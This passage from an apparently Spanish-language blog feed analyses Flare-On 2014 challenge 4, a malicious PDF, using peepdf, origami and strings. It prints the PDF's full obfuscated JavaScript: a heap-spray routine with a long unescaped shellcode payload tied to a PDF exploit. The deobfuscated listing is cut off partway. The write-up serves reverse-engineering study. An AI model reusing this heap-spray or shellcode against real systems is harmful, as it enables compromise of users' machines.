Saludos,</p>]]></content></item><item><title>Flare-on 2014 - Challenge 04: Sploitastic</title><link>https://www.xbyte.mx/posts/flareon2014_-_challenge04/</link><pubDate>Fri, 26 Oct 2018 22:50:21 -0600</pubDate><guid>https://www.xbyte.mx/posts/flareon2014_-_challenge04/</guid><description>&lt;p&gt;Continuamos esta serie de retos con el challenge 4 del FLARE-ON 2014, este se trata de un PDF que ejecuta un código malicioso vía Javascript el cual despliega un popup con el titulo &amp;quot;Owned!!!&amp;quot;&lt;/p&gt;</description><content type="html"><![CDATA[<p>Continuamos esta serie de retos con el challenge 4 del FLARE-ON 2014, este se trata de un PDF que ejecuta un código malicioso vía Javascript el cual despliega un popup con el titulo &quot;Owned!!!&quot;</p>
<p>Bien comenzamos por descomprimir el challenge &ldquo;C4.zip&rdquo;, el cual esta protegido por la contraseña &ldquo;malware&rdquo;.</p>
<blockquote>
<p>Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga <a href="http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip" title="Flare-On 2014">aquí</a></p>
</blockquote>
<p><img src="/img/flareon2014-c4/unzip-file.png" alt="Unzip and File"></p>
<p>Como podemos observar, se guarda un solo archivo (APT9001.pdf), el cual al pasarlo por <em>file</em> nos indica que se trata de un PDF versión 1.5, por lo que recurramos a <em>exiftool</em> y <em>pdfinfo</em> para tener mas información:</p>
<p><img src="/img/flareon2014-c4/pdfinfo.png" alt="pdfinfo"></p>
<p>Podemos ver que pdfinfo no nos entrega mucha información, mientras que exiftool nos tira un warning.</p>
<p>Vamos abrirlo con evince para ver el contenido:</p>
<p><img src="/img/flareon2014-c4/evince.png" alt="Open with Evince"></p>
<p>Como podemos observar al abrir el archivo, tenemos dos paginas en donde se ve el inicio del famoso articulo de APT1 de Mandiant (giño sobre la compra de Mandiant por Fireeye), por lo que hasta el momento no tenemos mucha información sobre lo que buscamos.</p>
<p>Procedamos a analizar el pdf con <a href="https://github.com/jesparza/peepdf" title="PeePDF">peepdf</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014/challenge04$ ~/git/peepdf/peepdf.py -l APT9001.pdf
</span></span><span style="display:flex;"><span>Warning: PyV8 is not installed!!
</span></span><span style="display:flex;"><span>Warning: pylibemu is not installed!!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>File: APT9001.pdf
</span></span><span style="display:flex;"><span>MD5: f2bf6b87b5ab15a1889bddbe0be0903f
</span></span><span style="display:flex;"><span>SHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
</span></span><span style="display:flex;"><span>SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
</span></span><span style="display:flex;"><span>Size: 21284 bytes
</span></span><span style="display:flex;"><span>Version: 1.5
</span></span><span style="display:flex;"><span>Binary: True
</span></span><span style="display:flex;"><span>Linearized: False
</span></span><span style="display:flex;"><span>Encrypted: False
</span></span><span style="display:flex;"><span>Updates: 0
</span></span><span style="display:flex;"><span>Objects: 8
</span></span><span style="display:flex;"><span>Streams: 2
</span></span><span style="display:flex;"><span>URIs: 0
</span></span><span style="display:flex;"><span>Comments: 0
</span></span><span style="display:flex;"><span>Errors: 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Version 0:
</span></span><span style="display:flex;"><span>	Catalog: No
</span></span><span style="display:flex;"><span>	Info: No
</span></span><span style="display:flex;"><span>	Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
</span></span><span style="display:flex;"><span>	Streams (2): [6, 8]
</span></span><span style="display:flex;"><span>		Encoded (2): [6, 8]
</span></span><span style="display:flex;"><span>		Decoding errors (1): [8]
</span></span><span style="display:flex;"><span>	Objects with JS code (1): [6]
</span></span><span style="display:flex;"><span>	Suspicious elements:
</span></span><span style="display:flex;"><span>		/OpenAction (1): [1]
</span></span><span style="display:flex;"><span>		/JS (1): [5]
</span></span><span style="display:flex;"><span>		/JavaScript (1): [5]
</span></span><span style="display:flex;"><span>		Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]
</span></span></code></pre></div><p>Tenemos 3 elementos sospechosos, 2 en el objeto 5. Continuemos avanzando y detengamos peepdf aqui.</p>
<p>Veamos que podemos extraer del PDF con pdfextract de <em>origami-pdf</em>:</p>
<p><img src="/img/flareon2014-c4/origami.png" alt="Origami"></p>
<p>Ok, tenemos un dump de un stream dentro del PDF, pero que tipo de dato o referencia tiene este dump? Bueno, exploremos por strings (la manera arcaica) la referencia dentro del PDF:</p>
<p><img src="/img/flareon2014-c4/strings-grep.png" alt="strings | grep"></p>
<p>Como podemos observar primero por strings, tenemos un texto que dice:</p>
<pre><code>/Actio#6e   /#53   /#4aav#61#53cr#69pt /#4a#53   6 0 R &gt;&gt; endobj
</code></pre>
<p>Esto tras cambiar el encoding es:</p>
<pre><code>/Action   /S   /JavaScript /JS   6 0 R &gt;&gt; endobj
</code></pre>
<p>Después al realizar el grep, podemos ver que hace referencia al objeto del stream 6. Veamos el contenido del obj 6, pero nuevamente necesitamos cambiar el encoding:</p>
<pre><code>/Lengt#68  6170
 /F#69#6c#74#65r
 /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]
</code></pre>
<p>Sustituyendo:</p>
<pre><code>/Length  6170
 /Filter
 /FlateDecode  /ASCIIHexDecode ]
</code></pre>
<p>Con esto nos queda mas claro que dentro del stream 6, se encuentra código javascript que requiere que se descomprima y que se decodifique desde ASCII HEX, lo que aun no queda muy claro es como se hizo esta referencia así que veamos nuevamente con strings hacia atrás:</p>
<p><img src="/img/flareon2014-c4/obj5.png" alt="obj5 &raquo; obj6"></p>
<p>Ok, entonces tenemos que obj 5 llama al stream, y este a su vez viene del origen 1.0 (accionado por /OpenAction). Esto cierra lo que ya veníamos analizando con peepdf. OpenAction[1] llama al código JS[5] y a su vez al stream[6]</p>
<p>Analicemos el contenido del stream de javascript:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">HdPN</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">IxTUQnOvHg</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">MPBPtdcBjTlpvyTYkSwgkrWhXL</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">=</span><span style="color:#ae81ff">128</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">&gt;=</span><span style="color:#ae81ff">0</span>;<span style="color:#f92672">--</span><span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span>) <span style="color:#a6e22e">MPBPtdcBjTlpvyTYkSwgkrWhXL</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub32f%u3791&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">MPBPtdcBjTlpvyTYkSwgkrWhXL</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">IxTUQnOvHg</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub32f%u3791&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fJWhwERSDZtaZXlhcREfhZjCCVqFAPS</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fJWhwERSDZtaZXlhcREfhZjCCVqFAPS</span><span style="color:#f92672">+</span><span style="color:#a6e22e">ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv</span>.<span style="color:#a6e22e">length</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA</span>) <span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span><span style="color:#f92672">+=</span><span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">-</span><span style="color:#a6e22e">fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">+</span><span style="color:#a6e22e">fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0x40000</span>) <span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span><span style="color:#f92672">+</span><span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span><span style="color:#f92672">+</span><span style="color:#a6e22e">UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">DPwxazRhwbQGu</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">100</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">DPwxazRhwbQGu</span>[<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">MOysyGgYplwyZzNdETHwkru</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">=</span><span style="color:#ae81ff">142</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">&gt;=</span><span style="color:#ae81ff">0</span>;<span style="color:#f92672">--</span><span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span>) <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub550%u0166&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bGtvKT</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">bGtvKT</span>) <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Juphd</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">bGtvKT</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">QCZabMzxQiD</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bGtvKT</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#a6e22e">QCZabMzxQiD</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">+</span><span style="color:#a6e22e">bGtvKT</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0x40000</span>) <span style="color:#a6e22e">QCZabMzxQiD</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">QCZabMzxQiD</span><span style="color:#f92672">+</span><span style="color:#a6e22e">QCZabMzxQiD</span><span style="color:#f92672">+</span><span style="color:#a6e22e">Juphd</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">125</span>;<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE</span>[<span style="color:#a6e22e">EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">QCZabMzxQiD</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf</span>;
</span></span></code></pre></div><p>Ok, esto se ve un poco sucio por lo que renombrare algunas variables para que el código sea mas legible:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">unused</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">output2</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">payload</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">output1</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">128</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">&gt;=</span><span style="color:#ae81ff">0</span>;<span style="color:#f92672">--</span><span style="color:#a6e22e">i</span>) <span style="color:#a6e22e">output1</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub32f%u3791&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">out1_pay</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">output1</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">payload</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">str1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub32f%u3791&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">offset1</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">total_len</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">offset1</span><span style="color:#f92672">+</span><span style="color:#a6e22e">out1_pay</span>.<span style="color:#a6e22e">length</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">str1</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">total_len</span>) <span style="color:#a6e22e">str1</span><span style="color:#f92672">+=</span><span style="color:#a6e22e">str1</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">substr1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">str1</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">total_len</span>);
